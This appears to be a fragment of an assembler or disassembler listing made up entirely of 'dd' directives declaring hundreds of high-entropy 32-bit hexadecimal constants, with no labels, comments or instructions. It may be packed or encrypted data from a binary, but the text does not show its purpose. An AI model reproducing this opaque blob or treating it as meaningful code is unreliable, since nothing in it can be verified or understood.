dd 0E5DF64ABh, 109A689Dh, 0B151033Dh, 0A7E18010h, 132F133h
dd 0C9FE290Ch, 20E3B450h, 0F4FC81F4h, 25E90C1Fh, 0B9DFE825h
dd 1773D38h, 9639A500h, 0BC800F06h, 0ED2DA4A8h, 29173003h
dd 18B3BDE9h, 0B8AF3AC9h, 6C127EB9h, 680E32F5h, 223CFC0h
dd 0C4BAA1E9h, 52EC0F9Ch, 4D662EDCh, 0BB0416E0h, 77834727h
dd 0F3447287h, 6EB66802h, 51E9307Dh, 6C2F19B9h, 78B640BFh
dd 90522734h, 0B055AFBh, 6CB07969h, 79C08DFh, 25777827h
dd 0C55AB74Fh, 1D5E995h, 4CBFF62Ah, 0E95109BDh, 0EAA17016h
dd 0AAE6BCAh, 62AAC4FFh, 572915C0h, 68CC9E56h, 24BCB48Fh
dd 1D7D2D23h, 0DBE91E2Fh, 0E8B1D7A6h, 0DAB5071Ch, 81124CB8h
dd 1632BE44h, 13C75B5Bh, 0D75EB843h, 0C274AE8h, 10099573h
dd 71586619h, 75A2978Ah, 0CE414D06h, 0FE13A5DBh, 70C31F20h
dd 5C0F6BFh, 0C74BC30h, 0BF8FC01h, 935CE930h, 0FCD69C5Fh
dd 46D65C1Eh, 0A82CFFF4h, 4657128Eh, 0D67DB832h, 0E947E502h
dd 0C6205DBCh, 0A657D8B9h, 0EA9D0798h, 0AE4160E0h, 0DEE91226h
dd 0C93CE4CAh, 35DAEC05h, 17F9D101h, 5D70E983h, 28CDFF85h
dd 0F108ABE8h, 2C12726Eh, 4C7EC500h, 14049D20h, 0C34E802h
dd 0D160548Ah, 4FC01F5h, 0E9897ECEh, 8439968Bh, 6B9A1A22h
dd 44F2D19Ch, 0EEC6303Fh, 775E862Ch, 737699B0h, 39E91A1Fh
dd 30805BFFh, 32F41360h, 2553593Fh, 0ECEBA8ADh, 0A5FFD6AFh
dd 5012F3D3h, 0A95FD1BCh, 59EEC0E0h, 954FFA06h, 80C7FEAh
dd 2A12E10Ch, 741C0BABh, 39FA01D6h, 315AFCB1h, 0DC2B9A97h
dd 0E9095696h, 0E5010A53h, 0C7FBB86h, 0DF4EF206h, 1F3B8040h
dd 10EACE43h, 0E9090828h, 2AA7DA37h, 0C37201F7h, 7BD68057h
dd 1623307h, 0F561B5FEh, 13A87395h, 0CBBA14F7h, 20EA4E26h
dd 0F7BBE933h, 0DF1CF991h, 50F47E4h, 0A30F1354h, 0F531835Fh
dd 0EF21E85Eh, 0A423C65Dh, 0F7100A37h, 0E9261FD3h, 0C10A3398h
dd 376161E2h, 0F81BBFF9h
dd 5524638Bh, 82759C8h, 510F4C3h, 0E35E4068h, 27011370h
dd 0BD5FB7F2h, 0A2D5977Fh, 99638BFEh, 0E22B54EAh, 0C2BECBEFh
dd 3A484160h, 595AB452h, 622EBE15h, 1C7FAD46h, 9F2631F4h
dd 0A5554614h, 0DDB00B0Eh, 0F2255845h, 0FDEC2773h, 0F2643ADEh
dd 3C4A52FCh, 7D411761h, 0FCC3A46Ah, 48A56D16h, 30E9C8B0h
dd 0BF207174h, 0B0484342h, 0CC5E261Bh, 2216D7ACh, 0EA32D4EBh
dd 2D7BB5A5h, 13667A2Ch, 0F251B70Eh, 0F542E9C3h, 0A2C545ECh
dd 578D7249h, 7D6FEE55h, 80B840E9h, 7CBDEF2Fh, 85983DB9h
dd 0C4F11734h, 3BA82EE1h, 0C397A73Ch, 0AF330CC5h, 51EC223h
dd 828BD588h, 75C79ADCh, 0E9415659h, 882A7AD8h, 6F16878Eh
dd 84BA1676h, 0B30812C8h, 0C5582DB7h, 176E853Eh, 68640201h
dd 1AF771D7h, 112E615Fh, 5FBE5600h, 5CDD1900h, 9C7F6DBDh
dd 0F529046Eh, 0E4B06BE9h, 0D30598A5h, 0DE018C8Bh, 0D3F4B038h
dd 268E81BBh, 0CC198DE2h, 13617BF8h, 0D4C0863h, 718CEE00h
dd 0CE0172A9h, 8800AB0h, 557090E9h, 50C58DB4h, 1B8DFBFh
dd 840FC90Bh, 56742C94h, 0B6164B9h, 158DBD10h, 2B8F1BECh
dd 9425A6F2h, 0FE44A147h, 0DD078032h, 60D4623Dh, 26565AC9h
dd 4E4A337Bh, 12427812h, 0DD04E0C1h, 8640C2A9h, 34481412h
dd 137F27CDh, 38B6C702h, 1E62905Dh, 0D3122D5Eh, 0BDDCC0F9h
dd 0A45E0152h, 0A20711ECh, 9E36372Ch, 8C214DEh, 0EDE5D2Fh
dd 0E960DF0Ch, 601B5940h, 0C256D080h, 0CA0B8116h, 836F6006h
dd 4BA21DD2h, 0EAC2C47Dh, 32E9DA70h, 4853CEABh, 0A713E1C7h
dd 0C2376C9Fh, 4E71BF1Fh, 0C3DBDEEDh, 587EFD6h, 55F2EB5Fh
dd 50E80AB2h, 721D6405h, 0DA5C2DFEh, 0F553B609h, 3FF57203h
dd 0E378916h, 0FB9268E2h, 5FB8B75h, 4F93F6DFh, 7924586Ah
dd 0E5169964h, 4577647Fh, 1B800F12h, 713EDCB1h, 0F3E4ABE5h
dd 5F5D28ECh, 5C4B0152h, 945A611Ch, 7807C7F4h, 49A2DC9Fh
dd 9F69467Dh, 30D0E811h, 7FE13B4Eh, 0BF5F25F6h, 0E90CD12Bh
dd 31160523h, 0BFA892D7h, 194CFC5Bh, 0F5315C7Ah, 3F82C96Ah
dd 0CFF11213h, 0C5ECBC2Eh, 43B08568h, 0E33C54E9h, 39CD0481h
dd 0BB7E0352h, 5EB634C0h, 0BA7F5097h, 0B53C170Eh, 0A8545C4Bh
dd 2AF29008h, 99BF69Dh, 0C07827C1h, 57609D82h, 8B27ECECh
dd 34C9DB0Ch, 0B44B800Dh, 592DD03Eh, 73B7604Eh, 8A357838h
dd 126F1740h, 0F7406401h, 0F28142DAh, 4AD5FCD8h, 54C0AFD4h
dd 3073CEF5h, 74BC48F1h, 606BBA46h, 4711CB0h, 0A052AAF6h
dd 0AB708073h, 6213FB32h, 46BE5FE9h, 7A04E50Fh, 0D825E318h
dd 730AC256h, 0D929982Ah, 70052474h, 688011CFh, 3D665808h
dd 5702BAD3h, 61024914h, 0B46AE745h, 8B972590h, 0C53D020Fh
dd 184A769Bh, 5D53ABEBh, 1008B900h, 366837CCh, 61CF946Bh
dd 0CC9E3D0Ah, 0DEA9E2E9h, 76456E66h, 89AAA837h, 0A3B6E01Dh
dd 9FBE4695h, 5CA78B8Ch, 5697F677h, 70D3423Fh, 0ED58E913h
dd 2B80CC2Ah, 3DF8B94Eh, 10C43DB9h, 777B4DE6h, 533549ACh
dd 0B400614Ah, 10953659h, 2481A18h, 25BD3009h, 0C680EBF0h
dd 0A8064501h, 0EAD9E946h, 26B52627h, 94417215h, 0BAC081ACh
dd 6FA24D0Ah, 99D4FCEBh, 681F43FBh, 0FB84418Bh, 0E9C238E2h
dd 7F5AB611h, 8EFC103h, 0EAFFC783h, 0BBC5C59h, 0E473FB29h
dd 27CA96BFh, 35DBA20h, 811A005Fh, 0C82263CEh, 0E927500Fh
dd 0D5E809E1h, 91960765h, 0DF5AB34Bh, 22C3F7A2h, 0A9CA068h
dd 29786A05h, 7172DE8h, 60BCDE8Dh, 0BD314C30h, 48751579h
dd 0A523200Bh, 134CDE7Dh, 0BA56C563h, 8A5B21F7h, 8DE90BDDh
dd 3C8B667Ch, 68439F2h, 8455D5F7h, 4F13F89Eh, 450B5968h
dd 60777EFCh, 758A0FE2h, 0E14AC76Ch, 0D789581Fh, 0AB1C7F4Dh
dd 757B9Dh, 4B921222h, 0D95BDE9h, 191CCFE0h, 8E5431E9h
dd 4A69D97h, 321C4CA1h, 0B2FB6087h, 60E645A2h, 0E3580CC2h
dd 0AB8B5FC6h, 534F9216h, 0BC0128AEh, 5A7E312Dh, 0C2969C8h
dd 0F30F9A07h, 0F9CA037Bh, 8221842h, 48BA5EF1h, 21AB02F7h
dd 0A9125DD8h, 9CE3640h, 0F81A5527h, 0D0F739C3h, 0E908D831h
dd 2AEB8F2h, 1B4DD1B8h, 85CE04Fh, 76730F0Dh, 309E5136h
dd 6635053Ah, 2A288A0Ch, 29E9EA01h, 0BCFD99ADh, 76FBA418h
dd 0C09FE328h, 1D6BEBC1h, 81FCB551h, 5EE92AF5h, 61922E9Ah
dd 8DD2F725h, 1DDA240Bh, 5DC98BFAh, 84548AB1h, 53AEE9EDh
dd 0C319BD00h, 6097952Ah, 14262D2Ch, 0A257C977h, 96747105h
dd 0E1F88470h, 83F83AB9h, 8DBE82A5h, 0A46FC959h, 0A5129C1Eh
dd 0A9A53E0Eh, 0BC4BBA0Bh, 7B1E468h, 43194CDBh, 3754EA02h
dd 0CD5444F9h, 5426A73Fh, 0DA40EF25h, 5E38B57Fh, 0FD658CDh
dd 82BE0D45h, 0D703FA9Bh, 0EA22035Ah, 45626E6Fh, 8AE35510h
dd 0B498BF2Fh, 1B0579BBh, 7741E93Ch, 4FF245FFh, 0C35A2221h
dd 12A5C784h, 0E8465CBAh, 3A1C0FCCh, 7634682Ah, 0ECC9E985h
dd 17E75A65h, 73CFF6Ah, 0F99B3428h, 0E4828542h, 2F778618h
dd 9A88028Ah, 0C491DFC6h, 2D55EC8Bh, 0F2150201h, 5D02920h
dd 0A6E90740h, 3FF9B7FCh, 0D1FF5896h, 0B4A4C7CEh, 0F3AAD08Fh
dd 29FF4F43h, 3EED6B1Bh, 0BB04F32Fh, 4BDDFC89h, 0E8B3CC5h
dd 1066884Bh, 0E9619FA0h, 0FFEC192Dh, 5B083920h, 47648F5Dh
dd 7BD0F1AEh, 27447DBEh, 89F72388h, 9C4277D1h, 429FD15Dh
dd 81F02FE9h, 7E51BA04h, 0A3BE0DAFh, 510992E5h, 1D78DAA7h
dd 54F37C19h, 7310B547h, 0F7810170h, 71C61AC3h, 0BF2F86F0h
dd 0DCC717A0h, 0F848160Dh, 0BCE9092Ch, 8AC1D110h, 69E8D97Ch
dd 78FA0B7Fh, 13AB5E0Fh, 816F60E4h, 2C3103EFh, 892EFCA3h
dd 98A25428h, 0CAA02AF0h, 681559C8h, 3A3202CEh, 0C6800BB6h
dd 162F5808h, 0D0D3F7E9h, 0DB7C7316h, 614F0F7Bh, 66B79C7h
dd 0BD14B9Dh, 4D5506EDh, 85401A02h, 0C5015F00h, 84519D57h
dd 93A68993h, 0F833405Fh, 0E91AF52Ah, 0F55D360h, 0A8B4368Eh
dd 9B2485CCh, 0C7800026h, 0F4D5653h, 0FBB284F2h, 597C39BDh
dd 5AE9E070h, 0F65A0560h, 0E79982DDh, 0DE0CDD0Bh, 0F4F60606h
dd 3B88B15Bh, 0C681A154h, 8FD3833Bh, 0EDCAFED4h, 92A6A94Bh
dd 842E9FA3h, 0A33B88FCh, 0D5AF02Fh, 133A126h, 889CA56h
dd 85988508h, 0E7D159h, 796CB6B7h, 0D74C0113h, 3A1D4FA4h
dd 4D849953h, 0E6435682h, 9F5CFAB0h, 0F4AE680h, 724B9B8Fh
dd 74447D90h, 1F4C4BE6h, 8B89C34Dh, 1F070102h, 5864A9CFh
dd 0BEFCD1B5h, 1F92C9B0h, 0B416E628h, 19C06C35h, 634127AFh
dd 0E6F997F1h, 2F826117h, 0B0914661h, 0D9212684h, 0E9A0FB5Bh
dd 0E3475E44h, 12DA3DCCh, 0D388271Dh, 0AE5E4B52h, 0CCBFB5Fh
dd 0EEA9E979h, 9471FDC2h, 0C68CA4A7h, 0BEE212EBh, 74B8DB2Ch
dd 34F00DB0h, 0EE0BAC2Dh, 7C041FF0h, 5F520A30h, 705D984h
dd 0F3F96858h, 0BB15E90Bh, 19AE7F20h, 0A7B42BBFh, 87DFF707h
dd 31DB872Eh, 0FE3CE962h, 7C596DBh, 759EB72h, 2E56D2E3h
dd 109CB800h, 2D4F1E9Ah, 6234C0F6h, 0AD218725h, 48D030EDh
dd 5D15050Bh, 0E97A60D9h, 0D1F96726h, 0A0DC74F1h, 4F09B112h
dd 558AE180h, 49787289h, 0E04F197h, 841130EDh, 9137A5A3h
dd 0A7A8A985h, 9E57D637h, 0EE2E92E9h, 5EF5DF71h, 820B7460h
dd 398CEB81h, 840FC844h, 2C8205Bh, 0BCA71326h, 6A8D010Ah
dd 901DE548h, 0C6413CFEh, 737605FCh, 4D6F3A6Eh, 0E8E96286h
dd 0C6094368h, 5DDB0629h
dd 38EB6580h, 7AF50C55h, 8013D84h, 2EAF685Eh, 0E23FF34Dh
dd 92C0A5CDh, 12F01E11h, 0A0A1E948h, 0C327301Fh, 65727953h
dd 0D3080138h, 8185C3E9h, 2725C5A5h, 0A24166ADh, 216DF54Ah
dd 38FFB825h, 4A59DFF7h, 33E02C5Bh, 0B0509340h, 0F8A94B87h
dd 0DEF785DBh, 94FF2781h, 0E3C7C610h, 0E922C809h, 896879CDh
dd 51981487h, 5273D088h, 0B89BC275h, 0FEC1E985h, 808385BCh
dd 0F39A16E3h, 2CC52040h, 8EB4503Eh, 0D58E528h, 97F598DDh
dd 5EEF4145h, 0AD4DC95Dh, 0D99303DCh, 8E5FDB4Fh, 7CEC1387h
dd 6205E8A2h, 91E32500h, 0F6453870h, 9FC37076h, 6858BD5Eh
dd 0B3164B94h, 4E82706h, 11AC6646h, 12889574h, 0D0542708h
dd 95551DECh, 1134F410h, 980FE3A4h, 6C97045Fh, 0F846D16Ch
dd 2B1F09E6h, 620130C8h, 802278EEh, 288FCF18h, 2CC13FA9h
dd 0E503E7h, 7CB5575Fh, 80A1FE09h, 0BAB18FEEh, 29CBC76Ah
dd 7B9CD115h, 5C580CE9h, 0D50C6F67h, 0CA426E3Ch, 0C128B9F8h
dd 3EA18008h, 61262E22h, 0AB031381h, 0CF498DD0h, 916F5B57h
dd 2B12C2ADh, 0F9305E31h, 5F0FBB00h, 814E1606h, 0A10D0DF3h
dd 127D8004h, 8E14524h, 521F91DAh, 5FA9BDCBh, 5BFDFB22h
dd 5CA6C5A3h, 8F00B13h, 0D594CEFDh, 3C595705h, 0C14EDC43h
dd 4B32BB01h, 8DFCE979h, 0F41E8005h, 0A494713h, 3127E77h
dd 29BE0104h, 0FD96030Eh, 24EA372Dh, 0ADE35E0Bh, 15300C4Ch
dd 1022C125h, 895EC825h, 0DFCD09CAh, 184A646Ch, 0A9D75AACh
dd 63B94E9Fh, 5D270E96h, 0BA6E22E5h, 5D296D09h, 3F0BAF88h
dd 1D31C8CBh, 2480D240h, 0BA909C3h, 388428ADh, 0A3B5EB91h
dd 3AE2CF8h, 247C292Bh, 0A1AC5F0Ch, 0EB53A5Fh, 1F5B1103h
dd 96E0413h, 43FD2D02h, 926CE237h, 514000Ch, 5F1ABD52h
dd 0F902BF59h, 55DAE953h, 0EA4DF284h, 7C6E14C2h, 21B66062h
dd 4B486DD2h, 465C000Fh, 9DE91058h, 61CC9CA0h, 0C6FFC9B1h
dd 0CB5DF9FFh, 0A7247FCCh, 92BF3EB2h, 0FEB8C414h, 9B066E01h
dd 3BF3316Ah, 0ED2518F6h, 0C5D0FC0Bh, 6CB77C4Bh, 0B9638D48h
dd 37254D45h, 0B450788Fh, 1EC8899h, 2012162Ch, 0E4B48530h
dd 0BF629851h, 7116C27Bh, 8B3BFBACh, 1281B5F8h, 4055CD2Eh
dd 0AA0990F1h, 3E562358h, 58BDFA70h, 7610B18h, 43D057E1h
dd 5AE3E207h, 0DA853F47h, 5CBD7D80h, 551B48C2h, 2119D338h
dd 0EC060C37h, 699596ADh, 173F68F2h, 6CDDAF98h, 20AB5AC2h
dd 71959E1Ch, 18F769CCh, 5EB8E985h, 5A22F3F5h, 101F94D1h
dd 5A747A56h, 62CB2973h, 0D954789Fh, 3BE326A1h, 2661078Ah
dd 0E97BA7BEh, 0C0537F51h, 845A0A01h, 4E70AEDBh, 4F09035Eh
dd 0F69CE91Ch, 29B0C05Eh, 0E7055E24h, 88E64E41h, 199DA410h
dd 0D58ECDFEh, 0B56B5B02h, 7558EF9Ah, 9D533F14h, 0ACF70282h
dd 0E30FA272h, 841000C3h, 31587174h, 2D6BE9F9h, 0BF3EF775h
dd 680070B6h, 43730115h, 0E68B170Fh, 221AFA3h, 8FA9EDA6h
dd 25612BF9h, 0D1F8366Ch, 4941E695h, 2C98BAC8h, 0A2260FBCh
dd 0E99D5016h, 9AE5A354h, 0E27E5E49h, 64AA107h, 0B8BAEF48h
dd 6BF1D19Dh, 5BE4157Ch, 2EACCEAh, 251A270Bh, 9F80F531h
dd 0E66560EBh, 490C7667h, 55208C62h, 80DB36Ah, 0C514040Ch
dd 4AB48EA1h, 38E9DE9Ch, 0BE5E76B3h, 3D6ACA29h, 68C3E4F1h
dd 0F7177E2Ch, 714446C2h, 1129888Dh, 8EFB5D16h, 68520B2Eh
dd 54E25AF5h, 9BA9D5Bh, 75626F9Fh, 0CAEADE20h, 364A7EE5h
dd 680A80FCh, 0A73D73DAh, 5A9F99D0h, 4EE913A7h, 0EB8140ADh
dd 1D0B5241h, 0D188DDDFh, 885305D2h, 0EA6583D7h, 2DED2D03h
dd 0D964A45Ch, 0BD76B43Dh, 0C740EC1Ch, 3BFE52CCh, 4692A506h
dd 0E5FC7695h, 89EC6051h, 0D3A15BD9h, 0D5CA3F59h, 25688244h
dd 7E5678FDh, 0E747E9C1h, 0F6CFE105h, 0F571DE2h, 7F553ADEh
dd 24EA4F81h, 0E927EC30h, 0DC974127h, 0B6555A9Dh, 0F9E93066h
dd 6D59B8CDh, 29415E17h, 3C1B41BAh, 407C1A74h, 5F3211A5h
dd 820C6C6Fh, 7DF3212Dh, 2E2A9D61h, 0CB68E483h, 1257270Fh
dd 0F502ABFAh, 0CE7F0A6Ch, 49527C89h, 0ED8256A4h, 0CC501B9h
dd 5B68016Ah, 0A902BBFFh, 0CB2A62EFh, 45ED1790h, 0D85E2FE7h
dd 824FFBB7h, 6583AC27h, 7E8E4D08h, 0B5B9F278h, 2EBCEC5Eh
dd 0F83970Bh, 3F83E786h, 0FCDBAC5h, 9478ED31h, 0E2D10066h
dd 9388130Fh, 0D8C345D7h, 40599851h, 5E3AF565h, 0CE0A83F0h
dd 0F1F38721h, 0E47FEED7h, 430E0E60h, 0F1C111ACh, 8DDF8C2Ah
dd 5FA00934h, 0B1305FC2h, 0A3CBAB78h, 2F80DE9Ah, 16A815FFh
dd 4EF1CBE8h, 0FECCA153h, 48631705h, 0F0F20593h, 5E07092Dh
dd 9E2C55Fh, 9E7D6F91h, 256A90F1h, 26C666B1h, 627A0507h
dd 96E54CD9h, 0C19580EFh, 460302EEh, 86FF681h, 0C2F2BF5Bh
dd 0B5760AEFh, 0CF85F88Ch, 0E8188E9h, 8EE9C729h, 0E23454F6h
dd 2083F349h, 41FE682Fh, 807C4B70h, 3157383Bh, 0D75B8CB0h
dd 95BCEE0h, 0D5E9187Ah, 0EB2697FAh, 0C7435EB3h, 0AD6CE8ECh
dd 1E662568h, 20A02666h, 0E9121610h, 0CFA7320Dh, 9205E34Fh
dd 21D2F1B3h, 1A72FA4h, 3E30ECB1h, 0CC283A57h, 59BCC4BAh
dd 0F0E0BF6h, 25C00D85h, 0C8B8ECD0h, 0BFDDEE32h, 0F5784AA5h
dd 1E5ECDE3h, 26FFA430h, 0B5545FDCh, 5D8FD041h, 0E907FA05h
dd 14B4FB3Bh, 9FB3E21Fh, 45C5CDE9h, 0AE128108h, 88BB0351h
dd 0F455CB2Ch, 818EA8FEh, 764B0EE3h, 0F3C078A1h, 10201244h
dd 0BC0678BDh, 0BF682Eh, 283630A6h, 0BC5A2BFh, 94ABC731h
dd 0E49ABAF4h, 0B612E849h, 7388EFC9h, 0BDED922Ch, 0FC52DAF4h
dd 38BA006Fh, 0E975F453h, 97ACB45Ah, 4B0BFAD6h, 0A91379C1h
dd 0C2F316BAh, 77404Ch, 4CB30DF3h, 576031Ch, 0E03A9426h
dd 0A9E9B812h, 0B27BBBA1h, 0A668C281h, 765D507h, 6358E90Bh
dd 0CD64A76Ah, 0EA6812A0h, 0A52C995Fh, 5FA5AE5Eh, 13828CE7h
dd 62729660h, 4C5955CEh, 0D02A6D63h, 4E2BE90Ah, 0C942B886h
dd 0B7B070FBh, 0C6200516h, 0BD662D76h, 110285Eh, 9FB2BA62h
dd 135FF9DDh, 4345EE33h, 0C909891h, 187A1D77h, 6C4E5E55h
dd 0A097D160h, 7825D524h, 0F289060Eh, 0FDA74BE9h, 0AD174521h
dd 0F746FAF4h, 3D8E37B0h, 0A07ED5D9h, 46022DFDh, 315E9950h
dd 2D489C5h, 564CCC23h, 0C821707Eh, 7BD05B0h, 6F825CD1h
dd 85AC7E1Ch, 0BA3F9C68h, 0D92F673Dh, 7420AD16h, 127F7AF2h
dd 9114D5D1h, 5A1A6D27h, 0DA313CF8h, 9076E096h, 0F37920BDh
dd 0BD056302h, 0DDCB7EDEh, 95E92681h, 85902BE2h, 7EAA6F5Bh
dd 0A2D34E51h, 1712D6FAh, 558F3DBEh, 0D6E2EFA6h, 2127531Ch
dd 0ADC7253Ch, 0B63EB24Ch, 72FD8424h, 5C5D9AAEh, 2A1C48E2h
dd 5A5AD614h, 0E7D16FA0h, 766ED83Ah, 6802C9BAh, 19F009B7h
dd 657C5559h, 9CB95180h, 0BD44296Ah, 3F243879h, 22D2060Ch
dd 3724C05Ah, 0C16CB60Eh, 0C8BFF2B8h, 251365BEh, 2BE064F3h
dd 0D24BF6ECh, 931B4E0h, 0F12906CEh, 17088888h, 221E095Eh
dd 3DF4195Fh, 11A1142Ah, 0EDC1293Ch, 19BD7F99h, 0DBF70809h
dd 0A2F68504h, 434E7813h, 0A7E18FD7h, 508CEB6Ah, 0B1DB9E3Eh
dd 39802A3Fh, 9CF19FB7h, 7DED5796h, 7CEE311Ah, 95B12D8h
dd 60F31880h, 42671228h, 0B58B8D1h, 8B3A5Ch, 6230E25Bh
dd 0E5145C45h, 0C592B93Eh, 9190333h, 0EFB48C08h, 80637D4h
dd 220425Bh, 0CF2883DFh, 10D8BFE9h, 6F135E9Dh, 0D56B2C85h
dd 1C56AA15h, 0D82516A8h
dd 0A0C2A89Bh, 0D8A7F25Eh, 49612D64h, 172E9094h, 5F5AE831h
dd 1DE96121h, 0C8442B85h, 0B110A65Ah, 0BD15D758h, 0FD4FBCA2h
dd 8E521143h, 275CE710h, 82DB1A5Fh, 5F480A27h, 0FD828694h
dd 0EC63CC18h, 0CF88719Dh, 0F4A59DC5h, 0B2B02C1Ch, 88C08D34h
dd 0D6686F81h, 0AB00BCDBh, 0E92D21BCh, 48EE5B27h, 1F11BD48h
dd 12385668h, 2FE3BAA4h, 0A295F612h, 7B99516Fh, 0E6ABBBC5h
dd 0D52984EEh, 0FB29E92Ch, 80606268h, 0FA0F99CBh, 0C3AFBF7Eh
dd 0B8A9CE4Bh, 85D780DFh, 9F49341Ch, 0CE58C2CAh, 0B332E930h
dd 4B9D685Fh, 92CBAD73h, 0FC0530D9h, 4A6BCEEAh, 0C13E54F1h
dd 3A141FA8h, 279AB1DCh, 0F703C17h, 85828C7Eh, 0D40041E4h
dd 233E56AEh, 0F28B7A51h, 0FAC8B7EEh, 0E917CE01h, 77FACBF9h
dd 81E234BCh, 4261822h, 5F2A1B81h, 42CA5F3Bh, 33EA1766h
dd 66415843h, 0BD5E4108h, 0B7EC7BFEh, 3AD43A86h, 0BB35584Fh
dd 4E7FC204h, 0C051BC5h, 90301820h, 4C559F68h, 4D486A7Fh
dd 0F9870609h, 774C0255h, 0F91EDD7Ch, 614156C1h, 80605001h
dd 4969974Ah, 0D1E9E403h, 0D7E29054h, 71209441h, 0DA4E14C9h
dd 0BB048F34h, 0FEF5B33Ch, 0F0E9AFE0h, 659296CEh, 33D950Ch
dd 1E5FE24Fh, 45B5EB94h, 6A13A02Dh, 79AE90A7h, 614EDF6Bh
dd 0A7047353h, 0FF13E190h, 0C81B5BC2h, 1E6C1F5h, 1ECE8105h
dd 0BA793319h, 39628196h, 3415E97Ch, 8838FA6h, 0CA2099B5h
dd 0C68E20Ah, 2D0BD710h, 0FCE61EBFh, 0FCE85E0Eh, 0EB1A9E10h
dd 48BD400Fh, 0AC2BE14Bh, 19F2B7A4h, 536768A4h, 3BDE0B62h
dd 2300D801h, 57B44E14h, 3F770690h, 0E9E42A06h, 353B7E75h
dd 9C66DCF0h, 89B6583Dh, 58D5CC2h, 0B7EE0568h, 6F9FF565h
dd 1AF16FFDh, 0F2BB8928h, 4E4165Eh, 2E45B7BBh, 308EF178h
dd 9B95643Bh, 0BE6A03BBh, 4DB86EDAh, 210DD60Eh, 0E03149F4h
dd 1DD3F622h, 806C4C4Fh, 806056C5h, 7F20E962h, 8535019Fh
dd 891B8A53h, 524070C7h, 5CECC55Eh, 57E051C9h, 803FDDF6h
dd 0F50673EDh, 59E828A5h, 0C18C40C6h, 8102E200h, 1B2F25CAh
dd 9613FC2Ch, 0EF310B63h, 0BCC8055h, 1E56F723h, 49EA6857h
dd 0FD84073Ch, 280012F9h, 9835DBF2h, 8D0F3F7Dh, 0C28342CEh
dd 66436F0Bh, 52A98CE1h, 0F415D93h, 0F94703FFh, 0DACB84Bh
dd 0CF081F42h, 0EDFF99CCh, 0C44FC8F9h, 66D52F4Fh, 108E7004h
dd 0C5C90F13h, 22EEDE4h, 711F8768h, 1DA800Dh, 0F8093088h
dd 0D4A6E916h, 7DB98D37h, 67586D12h, 801DECBDh, 9876A381h
dd 4FD60BA6h, 0B553767h, 1329DB23h, 50D1FDFh, 80343D25h
dd 5810EADFh, 877E2D28h, 555B0309h, 99A1DD19h, 0FEA777AFh
dd 47EEA18Eh, 0B6C00BF6h, 0CF7554ABh, 423D925Fh, 6EDC02Eh
dd 38AFF58Ah, 664DE27h, 59147995h, 0C2E22B09h, 694DE9C3h
dd 0ABC77F00h, 1C94A8Dh, 929894FDh, 25F24567h, 313DC335h
dd 0BF114A3h, 0B64F3E20h, 407F072h, 0ABC1089Dh, 0AADAA87h
dd 844F12E0h, 479C0113h, 70568C57h, 13486E96h, 0A3F86F34h
dd 7B08D121h, 75283B18h, 1F3EFC40h, 30EB4E30h, 0A7D2E9EBh
dd 7B031BB5h, 0CB0320D8h, 667253EEh, 11B86819h, 0DFFAC1E9h
dd 0BD4A6416h, 775A0609h, 92603592h, 7FE11EBCh, 0AE9365B7h
dd 0ACE93430h, 0C80BC638h, 0A9F454E3h, 48CDE15Ah, 4806CEF1h
dd 3302EB07h, 0F36028B1h, 6B5FD3ABh, 312540Ch, 20F750D5h
dd 0C1B7FBEDh, 0AC89F57Dh, 0F579F91Bh, 23ED5549h, 0E905D6AFh
dd 4B9865F7h, 277665DDh, 8169305Eh, 8676A518h, 67D901E4h
dd 6060C257h, 814511FFh, 6CBECD07h, 0BC6C4D7Eh, 5F79271Bh
dd 57CA1042h, 6BFEDC55h, 86C96DF5h, 0AB763E9h, 30C53416h
dd 2C0ECCFAh, 0F8794170h, 0C3F85BE8h, 0D269E92Dh, 7A8526A1h
dd 428F6118h, 5BAD7A38h, 7D3A6809h, 570BEEC6h, 57092777h
dd 0C3689E8Fh, 0ADE3B05Bh, 76B9263Ch, 8C7A123Ah, 0CC52D62Dh
dd 70F20499h, 0E8AA7B59h, 12B05B95h, 98DBF692h, 0BC89789Fh
dd 7F7427A3h, 5F8714C2h, 80078047h, 0EB30AFC3h, 0EDD4E93Fh
dd 0B0EE985h, 46B1C3BCh, 6A5193E1h, 4250E9A2h, 0C07D8237h
dd 2D234C12h, 1292028h, 8B39825Fh, 8AC75734h, 1A7CC08h
dd 0C73DB305h, 0F0DD6129h, 60BE3F88h, 0F8FF0449h, 0B3C0EF1Fh
dd 0A548680Bh, 0F4BF17DEh, 7A79DDFAh, 5B80ADB9h, 56EBD143h
dd 0D02E490h, 0E90A3659h, 0D20B75F9h, 24CBFFF6h, 3CF09B95h
dd 81EB5FB3h, 28F3287Ch, 0E95107D3h, 0FD09367Eh, 819DA6EEh
dd 4CA50EE2h, 13414130h, 0F119A56h, 9EA402DAh, 7488020h
dd 31604A60h, 35A9CE18h, 0BC74980Fh, 1FBE00A2h, 296F1221h
dd 7FF9F75Ch, 0E9C0B605h, 10CA0DA0h, 6628BE4Eh, 0F30BAED9h
dd 453C2E9Ch, 0C45E43F7h, 2107121Eh, 7F2D88D2h, 0B0894C8h
dd 1EBA6C40h, 84C51943h, 0E90A026Ah, 0A8C8F7D9h, 74BDF030h
dd 0D1F7725Ah, 0F38A4276h, 0E6D52E75h, 32B7CB0h, 594447F1h
dd 24E255BBh, 28F3048h, 2BE948EEh, 0A04C2CAAh, 0F945905Fh
dd 0A2AF6602h, 525300A1h, 0DE4BE368h, 0B561B532h, 0CA0FBEE7h
dd 5DEE1784h, 9686CB3Bh, 0E376A4h, 716D06CBh, 4B11FC1Ch
dd 126DB7DFh, 31ACED81h, 0E94022A4h, 0F4DBD07Fh, 8F439747h
dd 0FA8EB2A7h, 3F23B248h, 9BE1C9C4h, 5BDA7591h, 2113DD62h
dd 0B065A8F9h, 2F0BE9C1h, 0F2455455h, 646159AFh, 9E7AAC46h
dd 7EEB2A09h, 5632C29Ch, 0BFCB6CD7h, 64890365h, 885A798Dh
dd 0DB2CF4AFh, 811A1C0Ch, 8BB0FE3h, 8E8211D1h, 5FC9C299h
dd 0E95D6FF3h, 3CAFC116h, 49BF2B10h, 7E30F79Eh, 72BB8024h
dd 3642C1Eh, 58D2DBD4h, 6FC302AAh, 54210A5Fh, 436D0F6Fh
dd 0B3B5F032h, 0BCF6E818h, 173B8C5Eh, 50292651h, 835808A8h
dd 0BC19A416h, 63F1E80Fh, 8DFEA9B5h, 0DEF7D813h, 53B06F01h
dd 0AC6E50D9h, 5ECE00F2h, 0E9499F15h, 0FBEC4A44h, 7589AC32h
dd 682C427Ah, 4CF2A45h, 31AF55C3h, 7295263h, 1344EFD3h
dd 34BD3481h, 6060D962h, 0EB06885Bh, 0D6F6F386h, 0BEDDF008h
